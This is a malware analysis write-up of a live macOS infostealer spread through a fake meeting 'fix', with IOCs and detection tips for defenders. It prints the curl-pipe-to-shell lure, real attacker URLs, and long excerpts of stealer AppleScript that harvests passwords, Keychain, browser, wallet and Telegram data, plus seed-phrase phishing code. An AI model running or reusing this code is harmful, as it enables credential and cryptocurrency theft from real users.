Recently, I had some tasks that forced me to deal with the bitten-fruit company’s products (I’m not an Apple fanboiz, btw). I’m currently learning about Apple stuff, so this seems like a good time to talk about it.

The following story is an old analysis of a stealer found on my customer’s MacBook. The stealer is still active at the time of writing so be careful — don’t copy any command or script unless you want trouble or you know exactly what you are doing. You’ve been warned :)

The story begins

In late July 2025, it began with an online meeting where the attacker asked my customer to open the terminal, type a friendly command, and press Enter to fix some camera issues – I guess. That “friendly” command was:

1
curl -L h9.gg | sh

It simply retrieves another script and executes it using osascript:

1
curl -s http://151.80.89.232:7000/ls.scpt | osascript

The retrieved file is an AppleScript executed via osascript. Since osascript is a macOS-specific built-in command, Linux systems are not affected — feel free to copy it, my penguin friends.

The next part describes the content and behavior of this script.

Behavior of a stealer

Global Debug/Execution Flags

1
2
3
4
5
6
7
8
set release to true
set filegrabbers to true

if release then
try
tell window 1 of application "Terminal" to set visible to false
end try
end if

The script comes with two variables named release and filegrabbers. They appear to be developer-defined flags, likely used during development to debug and control the script’s behavior.

When executed, the script immediately hides the active terminal window. However, the terminal application itself remains visible in the Dock. You can spot it from there.

Client hello

The following part implements a phone-home feature.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try
set timestamp to do shell script "date '+%m/%d/%Y %I:%M:%S %p'"
set computerName to do shell script "scutil --get ComputerName"
set currentUser to do shell script "whoami"

set logEntries to timestamp & " - INFO: Log Initialized | Computer: " & computerName & " | User: " & currentUser & "\\n"
set logEntries to logEntries & timestamp & " - INFO: MacOS payload execution started.\\n"

set timestamp to do shell script "date '+%m/%d/%Y %I:%M:%S %p'"
set logEntries to logEntries & timestamp & " - PENDING: Password input prompted successfully, awaiting password input..\\n"

set workerURL to "https://proud-voice-fa18.margalitbronze.workers.dev/"
set jsonBody to "{\"logContents\": \"" & logEntries & "\"}"
set curlCommand to "curl -s -X POST " & quoted form of workerURL & " -H 'Content-Type: application/json' -d " & quoted form of jsonBody

do shell script curlCommand

on error errMsg
set timestamp to do shell script "date '+%m/%d/%Y %I:%M:%S %p'"
set errorLog to timestamp & " - ERROR: " & errMsg & " | Computer: " & computerName & " | User: " & currentUser
do shell script "echo " & quoted form of errorLog & " >> ~/telegram_error_log.txt"
end try

Upon execution, the script sends basic system information to the attacker’s server. This includes the computer name and current username, packaged in a JSON payload:

1
2
3
{
"logContents": "07/25/2025 01:24:21 PM - INFO: Log Initialized | Computer: bocchi’s iMac Pro | User: bocchi\n07/25/2025 01:24:21 PM - INFO: MacOS payload execution started.\n07/25/2025 01:24:21 PM - PENDING: Password input prompted successfully, awaiting password input..\n"
}

Collecting System Information

Next, the script generates a random number between 1000 and 9999 and uses it to create a temporary working directory in /tmp.

1
2
3
4
5
6
7
8
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try

It then collects detailed hardware, software, and display information using system_profiler, saving the output to a file named info within this directory.

Requesting the User’s Password

At this stage, the script attempts to obtain the user’s password using the getpwd() function.

1
2
3
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind)
...

If successful, the captured password is sent back to the attacker’s server:

1
2
3
{
"logContents": "07/25/2025 01:24:35 PM - INFO: Log Continuation | Computer: bocchi’s iMac Pro | User: bocchi\n07/25/2025 01:24:35 PM - SUCCESS: User 'bocchi' authenticated successfully. | Computer: bocchi’s iMac Pro\n07/25/2025 01:24:35 PM - PASSWORD: emyeuaoloi\n07/25/2025 01:24:35 PM - SUCCESS: Script execution completed, sending output log file..\n"
}

getpwd()

This function is responsible for retrieving the user’s password.

1
2
3
4
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
return result

If the user account has no password set, the script immediately extracts the Chrome master password using the macOS security command and stores it in masterpass-chrome.

Otherwise, the script downloads a .dmg file named Screen-Lock.dmg and executes it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
repeat
set dmg_url to "http://151.80.89.232:7000/Screen-Lock.dmg"
set dmg_path to "/tmp/ScreenLock.dmg"
set app_name to "ScreenLock.app"
set mount_point to "/Volumes/ScreenLock"
set app_path to mount_point & "/" & app_name

try
do shell script "curl -L '" & dmg_url & "' -o '" & dmg_path & "'"
do shell script "hdiutil attach '" & dmg_path & "' -mountpoint '" & mount_point & "'"
end try

do shell script "open -W -a '" & app_path & "'"

set password_entered to do shell script "cat /tmp/validated_pass.txt"
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "pwd")
do shell script "rm /tmp/validated_pass.txt"
do shell script "hdiutil detach '" & mount_point & "'"
do shell script "rm '" & dmg_path & "'"
return password_entered
end if

do shell script "rm /tmp/validated_pass.txt"
...

The .dmg contains an application written in Swift that displays a fake lock screen mimicking the macOS login interface. This prevents the user from interacting with the system until the correct password is entered.

The password is written by the binary into /tmp/validated_pass.txt, which the script reads and verifies. If the password is valid, the script stores it in the pwd file, cleans up the temporary files, and exits the fake lock screen.

Detecting the Fake Lock Screen

The lock screen is visually almost identical to the real macOS lock screen. However, it can be identified by hovering the cursor over the top-left corner of the screen. If the menu bar appears, the screen is fake. The fake lock screen app can be quit manually from there.

Collecting Interesting Files

The script copies several potentially sensitive files, including configuration and secret data from Binance, TonKeeper, and the system Keychain, as well as Notes databases and Safari cookies. Afterward, it invokes the filegrabber() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
filegrabber(writemind)
end if

filegrabber()

This function uses Finder to duplicate important files, such as Safari cookies and Notes databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
set name of result to "saf1"
end try
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
end try
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesAccounts to folder (notesFolderPath & "Accounts:")
try
set notesFolder to folder notesFolderPath
set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder
repeat with aFile in notesFiles
try
duplicate aFile to folder destinationFolderPath with replacing
end try
end repeat
end try
end try

The script also searches the Desktop, Documents, and Downloads directories for files with specific extensions:

1
2
3
4
5
6
set extensionsList to {"pdf"," docx"," doc"," wallet"," keys"," ovpn"," txt"," pem"}
set bankSize to 0
...
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)

To avoid excessive data collection, the total size of the extracted files is limited to 10MB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end repeat

Because the script relies on Finder to copy these files, macOS may prompt the user with a permission dialog requesting access:

Dumping Browsers, Wallets, and Telegram

The script defines path mappings for Chromium-based browsers, desktop wallets, and Firefox-based browsers, and stores the current username in a file named username.

1
2
3
4
5
6
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
...
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "
Pale Moon/Profiles/"}

It then invokes several handler functions to collect data from these locations.

1
2
3
4
5
6
7
8
9
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat

chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)

Finally, the script compresses all collected data using ditto, saving the archive as /tmp/out.zip.

1
do shell script "ditto -c -k --sequesterRsrc " & quoted form of writemind & " /tmp/out.zip"

parseFF()

This function extracts cookies, form history, login credentials, and keys from Firefox-based browsers.

1
2
3
4
5
6
7
8
9
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
set fpath to writemind & "ff/" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat

Interestingly, it does not dig into browser extension data. Why? Firefox discrimination?

chromium()

1
2
set pluginList to {"keenhcnmdmjjhincpilijphpiohdppno", "hbbgbephgojikajhfbomhlmmollphcad", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "dhgnlgphgchebgoemcjekedjjbifijid", "hifafgmccdpekplomjjkcfgodnhcellj", "kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle", "fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm", "bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion", "nhnkbkgjikgcigadomkphalanndcapjk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "hoighigmnhgkkdaenafgnefkcmipfjon", "klghhnkeealcohjjanjjdaeeggmfmlpl", "nkbihfbeogaeaoehlefnkodbefgpgknn", "fhbohimaelbohpjbbldcngcnapndodjp", "ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg", "nlobpakggmbcgdbpjpnagmdbdhdhgphk", "momakdpclmaphlamgjcndbgfckjfpemp", "mnfifefkajgofkcjkemidiaecocnkjeh", "fnnegphlobjdpkhecapkijjdkgcjhkib", "ehjiblpccbknkgimiflboggcffmpphhp", "ilhaljfiglknggcoegeknjghdgampffk", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "fnjhmkhhmkbjkkabndcnnogagogbneec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "imlcamfeniaidioeflifonfjeeppblda", "mdjmfdffdcmnoblignmgpommbefadffd", "ooiepdgjjnhcmlaobfinbomgebfgablh", "pcndjhkinnkaohffealmlmhaepkpmgkb", "ppdadbejkmjnefldpcdjhnkpbjkikoip", "cgeeodpfagjceefieflmdfphplkenlfk", "dlcobpjiigpikoobohmabehhmhfoodbb", "jiidiaalihmmhddjgbnbgdfflelocpak", "bocpokimicclpaiekenaeelehdjllofo", "pocmplpaccanhmnllbbkpgfliimjljgo", "cphhlgmgameodnhkjdmkpanlelnlohao", "mcohilncbfahbmgdjkbpemcciiolgcge", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ejjladinnckdgjemekebdpeokbikhfci", "phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg", "hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb", "cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk", "mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm", "hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico", "enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn", "fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp", "dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka", "pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh", "hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp", "ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae", "nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic", "aeblfdkhhhdcdjpifhhbdiojplfjncoa", "fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd", "fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd", "cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn", "lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph", "ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh", "dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk", "nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "acmacodkjbdgmoleebolmdjonilkdbch", "agoakfejjabomempkjlepdflaleeobhb", "dgiehkgfknklegdhekgeabnhgfjhbajd", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "kkpehldckknjffeakihjajcjccmcjflh", "jaooiolkmfcmloonphpiiogkfckgciom", "ojggmchlghnjlapmfbnjholfjkiidbch", "pmmnimefaichbcnbndcfpaagbepnjaig", "oiohdnannmknmdlddkdejbmplhbdcbee", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aholpfdialjgjfhomihkjbmgjidlcdno", "anokgmphncpekkhclmingpimjmcooifb", "kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe", "ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa", "fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif", "dmkamcknogkgcdfhhbddcghachkejeap", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "oafedfoadhdjjcipmcbecikgokpaphjk", "mapbhaebnddapnmifbbkgeedkeplgjmf", "cmndjbecilbocjfkibfbifhngkdmjgog", "kpfopkelmapcoipemfendmdcghnegimn", "lgmpcpglpngdoalbgeoldeajfclnhafa", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "ffnbelfdoeiohenkjibnmadjiehjhajb", "opcgpfmipidbgpenhmajoajpbobppdil", "lakggbcodlaclcbbbepmkpdhbcomcgkd", "kgdijkcfiglijhaglibaidbipiejjfdp", "hdkobeeifhdplocklknbnejdelgagbao", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmphdnilpmdejikjdnlbcnmnabepfgkh", "nngceckbapebfimnlniiiahkandclblb", "aflkmfhebedbjioipglgcbcmnbpgliof", "hcjhpkgbmechpabifbggldplacolbkoh", "fcfcfllfndlomdhbehjjcoimbgofdncg", "mkpegjkblkkefacfnmkajcjmabijhclg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "lpilbniiabackdjcionkobglmddfbcjo", "pdgbckgdncnhihllonhnjbdoighgpimk", "dngmlblcodfobpdpecaadgfbcggfjfnm", "lpfcbjknijpeeillifnkikgncikgfhdo", "bhghoamapcdpbohphigoooaddinpkbai", "ejbalbakoplchlghecdalmeeeajnimhm", "gacgndbocaddlemdiaadajmlggabdeod", "lgmpfmgeabnnlemejacfljbmonaomfmm", "opfgelmcmbiajamepnmloijbpoleiama"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}

This function targets Chromium-based browsers, defining a large list of cryptocurrency wallet extension IDs (such as MetaMask, Exodus, Coin98, etc.) along with sensitive browser data files including:

  • Cookies
  • Login Data
  • Web Data
  • Extension Settings
  • IndexedDB.

The script then iterates through Chromium profile directories, copying these files and extracting wallet extension data using grabPlugins.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, savePath & currentItem, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat

grabPlugins function checks whether a directory name matches a known extension ID listed in pluginList. If a match is found, it calls GrabFolder, which recursively copies the extension’s files while skipping entries defined in an exceptionsList.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder

deskwallets()

This function simply calls GrabFolder to recursively copy files from directories associated with desktop cryptocurrency wallets.

1
2
3
4
5
6
7
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets

telegram()

This function extracts Telegram Desktop session data by copying the contents of the tdata directory.

1
2
3
4
5
on telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Data/")
end try
end telegram

Ledger & Trezor Seed Phrase Phishing

In the next stage, the stealer downloads two malicious .dmg files — one impersonating Ledger Live and the other mimicking Trezor Suite.

Ledger

The script uses curl to download the malicious disk image to /tmp, force-quits any running instance of the legitimate Ledger Live application, and then installs the fake version into /Applications.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
set ledger_dmg_url to "http://67.205.179.62/Ledger-Live.dmg"
set ledger_dmg_filename to "/tmp/Ledger Live.dmg"
set ledger_app_name to "Ledger Live.app"
set ledger_app_path to "/Applications/" & ledger_app_name
set ledger_mount_point to "/Volumes/Ledger Live"

try
do shell script "curl -L '" & ledger_dmg_url & "' -o '" & ledger_dmg_filename & "'"
on error errMsg
return
end try

try
do shell script "osascript -e 'quit app \"" & ledger_app_name & "\"'"
on error errMsg
end try

try
do shell script "hdiutil attach '" & ledger_dmg_filename & "' -mountpoint '" & ledger_mount_point & "'"
on error errMsg
return
end try

try
if (do shell script "test -e '" & ledger_mount_point & "/" & ledger_app_name & "' && echo exists") is "exists" then
do shell script "rm -rf '" & ledger_app_path & "'"
do shell script "cp -R '" & ledger_mount_point & "/" & ledger_app_name & "' '/Applications'"
else
return
end if
on error errMsg
return
end try

try
do shell script "hdiutil detach '" & ledger_mount_point & "'"
on error errMsg
return
end try

Upon launch, the fake Ledger Live application prompts the user to enter their recovery phrase.

After the phrase is submitted and the victim clicks RESTORE ACCESS, the application displays a message claiming it “Failed to connect to the Ledger-Live server.”

The application itself is written in Python and packaged using PyInstaller.

Because of this, the embedded Python bytecode can be easily extracted using pyinstxtractor. Afterward, the recovered bytecode can then be decompiled using tools such as PyLingual.

The decompiled source code reveals that the application simply loads a remote phishing page inside a webview window — an easy to win and cross-platform trick to create fake UIs.:

1
2
3
4
5
import webview
C2URL = 'http://67.205.179.62/wallets/ledger.php'
html_content = '\n<!DOCTYPE html>\n<html>\n<head>\n <style>\n body {\n background-color: black;\n margin: 0;\n padding: 0;\n height: 100vh;\n overflow: hidden;\n }\n #iframe {\n width: 100%;\n height: 100%;\n border: none;\n }\n </style>\n</head>\n<body>\n <iframe id="iframe" src=\'' + C2URL + "'></iframe>\n</body>\n</html>\n"
webview.create_window('Ledger Live', html=html_content, width=1050, height=775, resizable=False)
webview.start()

Opening the URL directly in a browser reveals the exact phishing interface used by the application.

Once the victim enters their recovery phrase and clicks RESTORE ACCESS, the phrase is exfiltrated as JSON to the attacker-controlled server.

Trezor

The Trezor phishing application behaves almost identically. It impersonates Trezor Suite, prompts the victim for their recovery seed phrase, and sends the data to the attacker.

The underlying code is nearly identical to the Ledger version, but loads a different phishing endpoint:

1
2
3
4
5
import webview
C2URL = 'http://67.205.179.62/wallets/trezor-start.php'
html_content = '\n<!DOCTYPE html>\n<html>\n<head>\n <style>\n body {\n background-color: black;\n margin: 0;\n padding: 0;\n height: 100vh;\n overflow: hidden;\n }\n #iframe {\n width: 100%;\n height: 100%;\n border: none;\n }\n </style>\n</head>\n<body>\n <iframe id="iframe" src=\'' + C2URL + "'></iframe>\n</body>\n</html>\n"
webview.create_window('Trezor Suite', html=html_content, width=1050, height=775, resizable=False)
webview.start()

That’s all. After installing two fake cold wallet applications, the other temporary files are removed from the system, leaving a minimal footprint.

Improvement?

The fake login screen app Screen-Lock.dmg is truly a masterpiece. It’s one of the best things since sliced bread — small, visually identical to the legitimate macOS login screen, and written natively in Swift.

The other apps feel pretty half-baked. Despite being easily written in Python, those two binaries are so heavy that they take ages to download on my slow internet potato. I even had to debug the stealer script just to understand what was wrong with it 😂.

I tried to rewrite them in Swift to reduce their size, but that thing scared me. To compile Swift, you need swiftc, which requires this Apple’s equivalent of Microsoft Visual Studio called Xcode. It tried to pull ~25 GB of stuff into my 32 GB potato VM lmao.

So I switched to plan B.

I headed to the Rust official page, grabbed its toolchain — rustup and the gangs then tried to compile my small snippet:

It failed successfully. Rust requires cc to able to compile the source code, and cc is part of Xcode. Once again, ~25 GB is inevitable.

After all of that, I think Python is not a bad idea… Wait, it doesn’t requires Xcode, right?

Indicators of Compromise (IOCs)

URL
https://proud-voice-fa18.margalitbronze.workers.dev/
http://151.80.89.232:5000/joinsystem
http://151.80.89.232:7000/Screen-Lock.dmg
http://67.205.179.62/Ledger-Live.dmg
http://67.205.179.62/Trezor-Suite.dmg
http://67.205.179.62/wallets/ledger.php
http://67.205.179.62/wallets/trezor-start.php
http://67.205.179.62/wallets/trezor-start.php
http://67.205.179.62/wallets/live.php
File Name SHA256
Screen-Lock.dmg 2527e0171189b5742e6c6e7456d84ecf31113af48c3ecec0742bb6c9e6ee94d3
Ledger-Live.dmg e3222e1c7553679c3e9ba75f607969987f7c355b32bbcfff83dcbd63a37c413e
Trezor-Suite.dmg 48a066e16fbfc652e8ead89190f5fd7113a5c547e9cf97f59885354657b34446

References

Breaking the Base: AMOS Stealer’s Custom Base64 Secrets Exposed